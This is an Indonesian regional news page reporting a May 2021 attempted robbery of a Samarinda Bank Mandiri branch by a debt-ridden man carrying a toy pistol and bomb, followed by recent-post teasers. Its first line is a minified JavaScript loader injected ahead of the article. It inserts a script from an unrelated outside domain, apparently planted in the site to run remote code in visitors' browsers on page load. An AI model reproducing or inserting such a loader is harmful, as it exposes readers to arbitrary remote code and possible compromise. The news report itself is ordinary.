(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Gunakan Pistol dan Bom Mainan, Pria di Samarinda Rampok Bank Mandiri


KANALKALIMANTAN.COM, SAMARINDA – Seorang pria di Samarinda, Kalimantan Timur, berinisial JP (25) nekat merampok Bank Mandiri di Jalan Hasan Basri, Samarinda, dengan mengunakan pistol dan bom rakitan mainan pada Jum’at (21/5/2021) siang.

Palaku menjalankan aksinya seorang diri dan berhasil ditangkap sekuriti bank dibantu warga sekitar tak jauh dari lokasi kejadian.

Kasat Reskrim Polres Samarinda Kompol Andhika Dharma Sena mengatakan, aksi percobaan perampokan ini dilakukan pada saat keadaan Bank sepi karena sebagian orang melaksanakan Shalat Jum’at.

Baca juga: Kerjasama Pemkab-Kemenag Banjar: Nikah Dapat 6 Dokumen Kependudukan Sekaligus

“Berdasarkan keterangan sejumlah saksi di lokasi kejadian menyebutkan pelaku datang pukul 12:30 Wita dengan menggunakan sepeda motor dan langsung masuk ke dalam bank menemui teller bank yang menjaga pada saat itu,” kata Andhika di Samarinda.

Ia mengatakan pelaku berpura-pura ingin melakukan transaksi layaknya nasabah bank dan kemudian menyodorkan sebuah kertas yang isinya berupa ancaman.

“Ancaman dituliskan dalam kertas putih dengan kalimat ‘aku punya pistol dan bom, jangan bertindak bodoh kalau tidak mau mati’,” beber Andika.

Dengan ancamannya pelaku berharap teller bank segera memberikannya uang, namun bukannya takut justru petugas bank tersebut kaget dan berteriak.

“Pelaku menjadi panik dan langsung melarikan diri, namun petugas keamanan bank sigap dan langsung mengejar sampai ke Jalan Elang dan pelaku berhasil dilumpuhkan,” imbuhya.

Andika menegaskan setelah pelaku ditangkap pihaknya menemukan barang bukti pistol dan bom rakitan, namun setelah dicek hanya mainan.

“Kami juga menemukan petasan sebanyak 4 buah dan kertas 2 lembar yang digunakan sebagai bahan ancaman,” tambahnya.

Baca juga: Dari Panggung New York Fashion Week, Vivi Zubedi Ngurusi “Warung Ummat” hingga “Dauroh Janaiz” di Banjarbaru

Setelah digali informasi lebih mendalam, ternyata pelaku terlilit utang yang angkanya sangat besar sekitar Rp180 juta.

“Pelaku melihat berbagai cara di youtube dan belajar dari internet mengenai bagaimana caranya merampok bank dengan profesional,” kata Andhika.

Sampai saat ini polisi masih melakukan pemeriksaan terhadap pelaku, saksi kejadian dan juga rekaman CCTV di lokasi kejadian.

“Akibat kejahatannya itu JP terancam pasal 365 dengan ancaman penjara paling lama 9 tahun beserta pasal 355 berupa pengancaman. Setelah itu akan kita lakukan penahanan,” tegasnya. (antara/suara.com)

Editor : kk


Al Ghifari

Recent Posts

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

10 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

11 jam ago

Upayakan Kawasan Kubah yang Rapi dan Tertata, Pemkab Banjar Berdialog dengan Puluhan Pedagang

KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More

12 jam ago

PUPR Kalsel Gelar Sosialisasi Jakstrada Bersama Perwakilan 13 Kabupaten dan Kota

KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More

13 jam ago

Bupati Banjar Terima Kunjungan Manajer BSI Kalselteng

KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More

14 jam ago

Cemari Lingkungan, Komisi III DPRD Banjarbaru Cek SPPG ‘Merah’

KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More

15 jam ago

This website uses cookies.